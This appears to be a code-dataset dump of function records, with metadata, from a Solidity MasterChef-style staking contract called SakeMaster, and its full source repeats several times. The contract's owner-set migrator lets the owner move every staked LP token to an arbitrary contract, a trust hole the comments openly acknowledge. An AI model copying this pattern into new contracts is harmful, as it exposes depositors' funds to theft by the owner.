migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
withdraw
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); }
// Withdraw LP tokens from SakeMaster.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 10100, 10757 ] }
3,701
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
emergencyWithdraw
function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); }
// Withdraw without caring about rewards. EMERGENCY ONLY.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 10823, 11282 ] }
3,702
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(_toFinal.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSONE_MULTIPLIER); } } else { if (_from < betaTestEndBlock) { return betaTestEndBlock.sub(_from).add(bonusEndBlock.sub(betaTestEndBlock).mul(BONUSONE_MULTIPLIER)).add( (_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER))); } else if (betaTestEndBlock <= _from && _from < bonusEndBlock) { return bonusEndBlock.sub(_from).mul(BONUSONE_MULTIPLIER).add(_toFinal.sub(bonusEndBlock).mul(BONUSTWO_MULTIPLIER)); } else { return _toFinal.sub(_from).mul(BONUSTWO_MULTIPLIER); } } } // View function to see pending SAKEs on frontend. function pendingSake(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accSakePerShare = pool.accSakePerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); accSakePerShare = accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSakePerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); if (multiplier == 0) { pool.lastRewardBlock = block.number; return; } uint256 sakeReward = multiplier.mul(sakePerBlock).mul(pool.allocPoint).div(totalAllocPoint); sake.mint(devaddr, sakeReward.div(15)); sake.mint(address(this), sakeReward); pool.accSakePerShare = pool.accSakePerShare.add(sakeReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to SakeMaster for SAKE allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); if (pending > 0) safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from SakeMaster. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSakePerShare).div(1e12).sub(user.rewardDebt); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSakePerShare).div(1e12); safeSakeTransfer(msg.sender, pending); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "emergencyWithdraw: not good"); uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(address(msg.sender), _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs. function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
// SakeMaster is the master of Sake. He can make Sake and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once SAKE is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless.
LineComment
safeSakeTransfer
function safeSakeTransfer(address _to, uint256 _amount) internal { uint256 sakeBal = sake.balanceOf(address(this)); if (_amount > sakeBal) { sake.transfer(_to, sakeBal); } else { sake.transfer(_to, _amount); } }
// Safe sake transfer function, just in case if rounding error causes pool to not have enough SAKEs.
LineComment
v0.6.12+commit.27d51765
None
ipfs://5d4700996a40376e16d7d09f63c9d6b8ef633b28dd8203c5297833f9286dce20
{ "func_code_index": [ 11391, 11674 ] }
3,703
SakeVoterCalc
contracts/SakeMaster.sol
0x44d84a9da47fd8f4a06ad66b197d1441fca53f92
Solidity
SakeMaster
contract SakeMaster is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of SAKEs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accSakePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accSakePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. SAKEs to distribute per block. uint256 lastRewardBlock; // Last block number that SAKEs distribution occurs. uint256 accSakePerShare; // Accumulated SAKEs per share, times 1e12. See below. } // The SAKE TOKEN! SakeToken public sake; // Dev address. address public devaddr; // Block number when beta test period ends. uint256 public betaTestEndBlock; // Block number when bonus SAKE period ends. uint256 public bonusEndBlock; // Block number when mint SAKE period ends. uint256 public mintEndBlock; // SAKE tokens created per block. uint256 public sakePerBlock; // Bonus muliplier for 5~20 days sake makers. uint256 public constant BONUSONE_MULTIPLIER = 20; // Bonus muliplier for 20~35 sake makers. uint256 public constant BONUSTWO_MULTIPLIER = 2; // beta test block num,about 5 days. uint256 public constant BETATEST_BLOCKNUM = 35000; // Bonus block num,about 15 days. uint256 public constant BONUS_BLOCKNUM = 100000; // mint end block num,about 30 days. uint256 public constant MINTEND_BLOCKNUM = 200000; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Record whether the pair has been added. mapping(address => uint256) public lpTokenPID; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when SAKE mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw( address indexed user, uint256 indexed pid, uint256 amount ); constructor( SakeToken _sake, address _devaddr, uint256 _sakePerBlock, uint256 _startBlock ) public { sake = _sake; devaddr = _devaddr; sakePerBlock = _sakePerBlock; startBlock = _startBlock; betaTestEndBlock = startBlock.add(BETATEST_BLOCKNUM); bonusEndBlock = startBlock.add(BONUS_BLOCKNUM).add(BETATEST_BLOCKNUM); mintEndBlock = startBlock.add(MINTEND_BLOCKNUM).add(BETATEST_BLOCKNUM); } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } require(lpTokenPID[address(_lpToken)] == 0, "SakeMaster:duplicate add."); uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accSakePerShare: 0 }) ); lpTokenPID[address(_lpToken)] = poolInfo.length; } // Update the given pool's SAKE allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Handover the saketoken mintage right. function handoverSakeMintage(address newOwner) public onlyOwner { sake.transferOwnership(newOwner); } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { uint256 _toFinal = _to > mintEndBlock ? mintEndBlock : _to; if (_toFinal <= betaTestEndBlock) { return _toFinal.sub(_from); }else if (_from >= mintEndBlock) { return 0; } else if (_toFinal <= bonusEndBlock) 